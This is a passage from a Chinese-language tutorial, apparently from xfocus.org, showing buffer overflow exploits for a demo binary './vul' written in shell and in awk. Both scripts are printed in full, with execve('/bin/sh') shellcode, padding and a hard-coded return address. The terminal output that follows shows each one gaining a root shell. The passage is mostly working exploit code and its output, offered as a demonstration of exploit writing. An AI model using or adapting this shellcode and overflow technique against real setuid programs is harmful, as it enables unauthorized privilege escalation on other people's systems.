溢出利用程序和編程語言大雜燴

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<四> Shell語言版本利用程序ex.sh

[cloud@test]$ cat ex.sh
#/bin/bash
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

#ENV_LEN=`env |wc -c|tr -d ' '`
SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096
for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8
export AGSHELL=$AG`echo -e $SH`

for((i=0;i<4;i++)) ;do
  AA=$AA"A"
  if  ./vul $AA`echo -e $AD`
  then break
  fi
done
#EOF
[cloud@test]$ chmod a+x ex.sh
[cloud@test]$ ./ex.sh
buff : A&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?
&#65533;胯?胯?
./ex.sh: line 16:  5287 段錯誤                  ./vul $AA`echo -e $AD`
buff : AA&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯
?胯?胯?
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b# exit
exit



<五> awk語言版本利用程序ex.awk

[cloud@test]$ cat ex.awk
# Demo for exploit bof of "./vul"
# Write by watercloud @ xfocus.org

BEGIN{
        SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";
        AG="AA";
        for ( i=0;i<10;i++)
        {
                AG=AG""AG;
        }
        AG=AG""AG""AG #3096
        for(i=0;i<20;i++)
        {
                AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8
        }

        AA="AA"
        for(i=0;i<4;i++)
        {
          AA=AA"A"
          system("./vul "AA""AD" "AG""SH)
        }
}
#EOF
[cloud@test]$ gawk -f ex.awk /dev/null
buff : AAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
buff : AAAA梵&#65533;胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯?胯??
sh-2.05b# id
uid=0(root) gid=503(test) groups=503(test)
sh-2.05b#

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